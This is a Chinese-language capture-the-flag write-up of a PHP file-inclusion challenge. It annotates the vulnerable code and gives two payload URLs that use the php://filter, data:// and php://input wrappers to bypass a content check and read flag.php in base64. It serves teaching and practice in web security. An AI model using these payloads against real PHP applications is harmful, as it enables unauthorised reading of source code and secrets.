[文件包含,少許難度]
地址:攻防世界
代碼審計WRONG WAY!
<?php
include("flag.php"); #包含了一個“flag.php”文件
highlight_file(__FILE__); #來顯示當前文件的源代碼
if(isset($_GET["file1"]) && isset($_GET["file2"])) #isset()是一個內置函數,用于檢查變量是否存在且為非null。 檢查是否設置了get參數“file1”和“file2” 且 有值
{
$file1 = $_GET["file1"]; #get傳入一個"file1"賦值給$file1
$file2 = $_GET["file2"]; #get傳入一個"file2"賦值給$file2
if(!empty($file1) && !empty($file2)) #檢查是否“$file1和$file2” 都不為空
{
if(file_get_contents($file2) === "hello ctf") #(file_get_contents($file2) 是一個內置函數,用于將整個文件的內容讀取到一個字符串中的函數調用,file2是一個文件路徑。 這里是檢查讀取file2 文件中的內容 是否和"hello ctf" 完全相等
{
include($file1); # 滿足上述條件,才可以執行 include($file1),出發文件包含漏洞,“$file1”的文件可以讀取 “flag.php” 的內容
}
}
else
die("NONONO"); #否則,輸出“NONONO”
}
詳細介紹
(file_get_contents($file2)
一個內置函數,用來讀取文件的內容,$file2 是包含文件路徑的變量,file_get_contents 函數會打開該文件,并且將文件的所有內容會作為一個字符串返回,打開失敗時,則返回false最后包含file1,我們希望得到flag,獲取內容,可以用filter讀取
file1和 file2 要存在,且都不為空,file2 的內容為 hello ctf
因為file2 的內容為 hello ctf 可以用php://input 和data:// 進行繞過
payload1:?file1=php://filter/read/convert.base64-encode/resource=flag.php&file2=data://text/plain,hello ctf payload2:?file1=php://filter/read/convert.base64-encode/resource=flag.php&file2=php://input
總結:
整體來說不難,主要是代碼審計,配合文件包含php偽協議即可,多多重復,你也行!